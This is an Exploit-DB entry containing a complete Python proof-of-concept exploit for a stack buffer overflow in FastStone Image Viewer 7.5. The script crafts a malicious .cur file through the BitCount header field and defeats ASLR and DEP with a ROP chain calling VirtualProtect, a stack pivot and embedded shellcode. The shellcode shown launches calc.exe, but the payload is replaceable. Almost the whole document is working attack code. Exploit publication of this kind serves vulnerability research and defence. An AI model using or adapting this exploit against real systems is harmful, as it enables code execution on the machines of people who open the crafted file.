FastStone Image Viewer 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass)

EDB-ID:

49660

CVE:

N/A




Platform:

Windows

Date:

2021-03-17


# Exploit title: FastStone Image Viewer 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass)
# Exploit Author: Paolo Stagno
# Date: 15/03/2020
# Vendor Homepage: https://www.faststone.org/
# Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe
#                    https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/
# Version: 7.5
# Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256
# Category: local exploit
# Platform: windows

# Module info :
#----------------------------------------------------------------------------------------------------------------------
#Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
#----------------------------------------------------------------------------------------------------------------------
#0x00400000 | 0x00abf000 | 0x006bf000 | False  | False   | False |  False   | False  | 7.5.0.0 [FSViewer.exe] (C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe)
#0x6ad80000 | 0x6adfe000 | 0x0007e000 | False  | False   | False |  False   | False  | -1.0- [fsplugin05.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll)
#0x6afb0000 | 0x6b011000 | 0x00061000 | True   | True    | False |  False   | False  | -1.0- [fsplugin06.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll)
#----------------------------------------------------------------------------------------------------------------------

#!/usr/bin/python
import struct, sys
print("\n[>] FastStone Image Viewer v. <= 7.5 Exploit by VoidSec\n")

filename="FSViewer_v.7.5_exploit.cur"

###################################################################################
# Shellcode
# MAX Shellcode size: 556
# ImageData - ROP NOP - Rop Chain - Stack Adjustment = 776 - 144 - 68 - 8 = 556
# Custom calc.exe shellcode
# size: 112
###################################################################################

shellcode=(
    "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
    "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
    "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
    "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
    "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
    "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
    "\x45\x81\x3e\x43\x72\x65\x61\x75"
    "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
    "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
    "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
    "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
    "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
    "\x6c\x63\x89\xe2\x52\x52\x53\x53"
    "\x53\x53\x53\x53\x52\x53\xff\xd7"
)


if (len(shellcode)>556):
    sys.exit("Shellcode's size must be <= 556 bytes")

###################################################################################
# Cur File Format
# ---------------------------------------------------------------------------------
# | Reserved | Type  | Image Count |
# | 00 00    | 02 00 | 02 00       | <- CUR file will contains two images
# Entries:
# | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset |
# | 30    | 30     | 00         | 00       | 01 00    | 02 00    | 30 03 00 00 | 26 00 00 00 | <- we'll corrupt the first image with rop chain & shellcode 
# | 20    | 20     | 00         | 00       | 02 00    | 04 00    | E8 02 00 00 | 56 03 00 00 | <- while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact)
# 1st Image Info Header:
# | Size        | Width       | Height      | Planes | BitCount | Compression | ImageSize   | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant |
# | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00  | 89 30    | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00     |
# 1st ImageData(BLOB)
# 2nd Image Info Header:
# 2nd ImageData(BLOB)
# ---------------------------------------------------------------------------------
# BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow
# its value can be modified but we need to account for two operations happening into the software.
# - SHL 1, 89 = 0x200
# - SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file
# we'll have to pad the image data to match it's size in bytes defined in the header SizeInBytes
# ImageData = SizeInBytes - ImageInfoHeader Size (330h-28h=308h 776d)
###################################################################################

image_data_pad = 776

def create_rop_nop():
    rop_gadgets = [
        0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # RETN    ** [fsplugin05.dll] **   |   {PAGE_EXECUTE_READ}
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
def create_rop_chain():
    rop_gadgets = [
        #[---INFO:gadgets_to_set_esi:---]
        0x00405bd4,  # POP EAX ; RETN [FSViewer.exe] 
        0x6adf4160,  # ptr to &VirtualProtect() [IAT fsplugin05.dll]
        0x008b3977,  # MOV EAX,DWORD PTR DS:[EAX] ; RETN [FSViewer.exe] 
        0x0083f67a,  # XCHG EAX,ESI ; RETN [FSViewer.exe] 
        #[---INFO:gadgets_to_set_ebp:---]
        0x005b35b8,  # POP EBP ; RETN [FSViewer.exe] 
        0x00454521,  # & jmp esp [FSViewer.exe]
        #[---INFO:gadgets_to_set_ebx:---]
        0x00630472,  # POP EBX ; RETN [FSViewer.exe] 
        0x00000201,  # 0x00000201-> ebx
        #[---INFO:gadgets_to_set_edx:---]
        0x004798db,  # POP EDX ; RETN [FSViewer.exe] 
        0x00000040,  # 0x00000040-> edx
        #[---INFO:gadgets_to_set_ecx:---]
        0x004c7832,  # POP ECX ; RETN [FSViewer.exe] 
        0x00991445,  # &Writable location [FSViewer.exe]
        #[---INFO:gadgets_to_set_edi:---]
        0x0040c3a8,  # POP EDI ; RETN [FSViewer.exe] 
        0x0057660b,  # RETN (ROP NOP) [FSViewer.exe]
        #[---INFO:gadgets_to_set_eax:---]
        0x00404243,  # POP EAX ; RETN [FSViewer.exe] 
        0x90909090,  # nop
        #[---INFO:pushad:---]
        0x6adc21bf,  # PUSHAD # RETN [fsplugin05.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

# Cur image = 1597 bytes
###################################################################################
cur_Signature = "\x00\x00\x02\x00\x02\x00" # | Reserved | Type  | Image Count |
cur_Entries = (
                "\x30\x30\x00\x00\x01\x00\x02\x00\x30\x03\x00\x00\x26\x00\x00\x00"  # 1st Entry
                "\x20\x20\x00\x00\x02\x00\x04\x00\xE8\x02\x00\x00\x56\x03\x00\x00"  # 2nd Entry
            )
# 1st Image Info Header
cur_1InfoHeader = "\x28\x00\x00\x00\x30\x00\x00\x00\x60\x00\x00\x00\x01\x00\x89\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# 1st ImageData
# cur_1ImageData_orig = "\x00\x00\x00\x00\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xC0\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x80\x41\x00\x1F\x80\x00\x00\x00\xC0\x41\x00\x3F\xC0\x00\x00\x00\xA0\x82\x00\x3F\xC0\x00\x00\x00\x90\x82\x00\x1F\x80\x00\x00\x00\x89\x04\x00\x00\x00\x00\x00\x00\x85\x04\x00\x1F\x80\x00\x00\x00\x82\x08\x00\x1F\x80\x00\x00\x00\x80\x0F\xFE\x1F\x80\x00\x00\x00\x80\x00\x04\x1F\x80\x00\x00\x00\x80\x00\x08\x0F\x80\x00\x00\x00\x80\x00\x10\x07\xC0\x00\x00\x00\x80\x00\x20\x03\xE0\x00\x00\x00\x80\x00\x47\xC1\xF0\x00\x00\x00\x80\x00\x87\xC1\xF8\x00\x00\x00\x80\x01\x07\xC1\xFC\x00\x00\x00\x80\x02\x07\xC1\xFC\x00\x00\x00\x80\x04\x07\xC1\xFC\x00\x00\x00\x80\x08\x07\xC1\xFC\x00\x00\x00\x80\x10\x07\xE3\xFC\x00\x00\x00\x80\x20\x03\xFF\xF8\x00\x00\x00\x80\x40\x01\xFF\xF0\x00\x00\x00\x80\x80\x00\xFF\xE0\x00\x00\x00\x81\x00\x00\x00\x00\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\xA0\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xF8\x3F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xE0\x7F\xFF\x00\x00\x7F\x80\xFF\xC0\x3F\xFF\x00\x00\x3F\x80\xFF\x80\x1F\xFF\x00\x00\x1F\x01\xFF\x80\x1F\xFF\x00\x00\x0F\x01\xFF\xC0\x3F\xFF\x00\x00\x06\x03\xFF\xE0\x7F\xFF\x00\x00\x02\x03\xFF\xC0\x3F\xFF\x00\x00\x00\x07\xFF\xC0\x3F\xFF\x00\x00\x00\x00\x01\xC0\x3F\xFF\x00\x00\x00\x00\x03\xC0\x3F\xFF\x00\x00\x00\x00\x07\xE0\x3F\xFF\x00\x00\x00\x00\x0F\xF0\x1F\xFF\x00\x00\x00\x00\x10\x18\x0F\xFF\x00\x00\x00\x00\x30\x1C\x07\xFF\x00\x00\x00\x00\x70\x1C\x03\xFF\x00\x00\x00\x00\xF0\x1C\x01\xFF\x00\x00\x00\x01\xF0\x1C\x01\xFF\x00\x00\x00\x03\xF0\x1C\x01\xFF\x00\x00\x00\x07\xF0\x1C\x01\xFF\x00\x00\x00\x0F\xF0\x00\x01\xFF\x00\x00\x00\x1F\xF8\x00\x03\xFF\x00\x00\x00\x3F\xFC\x00\x07\xFF\x00\x00\x00\x7F\xFE\x00\x0F\xFF\x00\x00\x00\xFF\xFF\x00\x1F\xFF\x00\x00\x01\xFF\xFF\xFF\xFF\xFF\x00\x00\x03\xFF\xFF\xFF\xFF\xFF\x00\x00\x07\xFF\xFF\xFF\xFF\xFF\x00\x00\x0F\xFF\xFF\xFF\xFF\xFF\x00\x00\x1F\xFF\xFF\xFF\xFF\xFF\x00\x00\x3F\xFF\xFF\xFF\xFF\xFF\x00\x00\x7F\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
print("Generating 1st ImageData BLOB:")
cur_1ImageData = ""
cur_1ImageData += create_rop_nop() * ( (1560 - 1416 ) / 4 ) # 1560 stack pivot - 1416 where our cyclic pattern has been found
print("- ROP NOP:\t\t{}".format(len(cur_1ImageData)))
cur_1ImageData += create_rop_chain()
print("- ROP Chain:\t\t{}".format(len(create_rop_chain())))
cur_1ImageData += "\x81\xC4\x44\xFD\xFF\xFF\x90\x90"               # stack adjustment for meterpreter GetPC routine: add esp, -700
print("- Stack Adjustment:\t8")
cur_1ImageData += shellcode
print("- Shellcode:\t\t{}".format(len(shellcode)))
cur_1ImageData += "A" * (image_data_pad - len(cur_1ImageData))
# 2nd Image Info Header
cur_2InfoHeader = "\x28\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# 2nd ImageData (if this does not trigger the stack pivot it should be changed removing the beginning \x00 byte of cur_2ImageData2 and adding it back at the end of cur_2ImageData section)
cur_2ImageData = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x80\x00\x80\x00\x00\x00\x80\x00\x80\x00\x80\x80\x00\x00\xC0\xC0\xC0\x00\x80\x80\x80\x00\x00\x00\xFF\x00\x00\xFF\x00\x00\x00\xFF\xFF\x00\xFF\x00\x00\x00\xFF\x00\xFF\x00\xFF\xFF\x00\x00\xFF\xFF\xFF\x00\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF1\x11\x11\xF0\x00\xF1\x11\x11\x10\xFF\xFF\xF0\x11\x11\x11\x11\xFF\x11\x11\xF0\x00\xF1\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\xF1\x1F\x00\x0F\x11\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\xF0\x0F\x1F\x00\x0F\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\xF0\x00\xF1\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\xFF\xFF\xFF\xF1\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\x0F\x11\x11\x10\xFF\xF0\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\xF1\x00\x00\x01\x0F\xFF\x01\x11\x11\x11\xF0\x00\x00\x00\x00\x0F\x11\x0F\xFF\x01\x10\xFF\xF0\x11\x11\x11\xF0\x00\x00\x00\x00\xF1\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\x0F\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\xF1\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00"
# SEH record overwrite goes here
cur_2ImageData2 = "\x00\xFF\xF0\x0F\xFF\xF0\x11\x11\x11\xF0\x00\x00\xF1\x11\x11\x11\x11\x0F\xFF\xFF\xFF\x01\x11\x11\x11\xF0\x00\x0F\x11\x11\x11\x11\x11\x10\x00\x00\x00\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x0F\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE3\xFF\xFF\xFF\xC1\xFF\xFF\xFF\xC1\xFF\xFF\xFF\x83\xF8\xFF\xFF\x83\xF0\x7F\xDF\x07\xE0\x3F\xCF\x07\xF0\x7F\xC6\x0F\xF8\xFF\xC2\x0F\xF0\x7F\xC0\x1F\xF0\x7F\xC0\x00\x70\x7F\xC0\x00\xF8\x3F\xC0\x01\x04\x1F\xC0\x03\x06\x0F\xC0\x07\x06\x07\xC0\x0F\x06\x07\xC0\x1F\x06\x07\xC0\x3F\x80\x0F\xC0\x7F\xC0\x1F\xC0\xFF\xE0\x3F\xC1\xFF\xFF\xFF\xC3\xFF\xFF\xFF\xC7\xFF\xFF\xFF\xCF\xFF\xFF\xFF\xDF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
###################################################################################

buf = ""
buf += cur_Signature
buf += cur_Entries
buf += cur_1InfoHeader
buf += cur_1ImageData
buf += cur_2InfoHeader
buf += cur_2ImageData
# buf += struct.pack('<I',0x004023da) # SEH pop ecx ; pop ebp ; ret  | startnull {PAGE_EXECUTE_READ} [FSViewer.exe]
# 0x0019dc10 : Pointer into normal cyclic pattern at ESP+0x588 (+1416) : 0x0019dc48 : offset 1, length 775
buf += struct.pack('<I',0x6adad2ff) # stack pivot 1560 / 0x618 :  ADD ESP,608 ; POP EBX ; POP ESI ; POP EDI ; POP EBP ; RETN    ** [fsplugin05.dll] **   |   {PAGE_EXECUTE_READ}
buf += cur_2ImageData2

#buf += "B" * (buf_max_size - len(buf))
print("\nWriting CUR File:")
print("--------------------------------------------------------")
print("- Signature + ImageCount:\t{}".format(len(cur_Signature)))
print("- Entries 2/2:\t\t\t{}".format(len(cur_Entries)))
print("- 1st InfoHeader:\t\t{}".format(len(cur_1InfoHeader)))
print("- 1st ImageData:\t\t{}".format(len(cur_1ImageData)))
print("- 2nd InfoHeader:\t\t{}".format(len(cur_2InfoHeader)))
print("  2nd ImageData 1/2:\t{}".format(len(cur_2ImageData)))
print("  SEH:\t\t\t4")
print("  2nd ImageData 2/2:\t{}".format(len(cur_2ImageData2)))
print("- 2nd ImageData TOT:\t\t{}".format(len(cur_2ImageData)+4+len(cur_2ImageData2)))
print("--------------------------------------------------------")
print("[+] Writing total {} bytes on {}".format(len(buf), filename))
file = open(filename, "w");
file.write(buf);
file.close();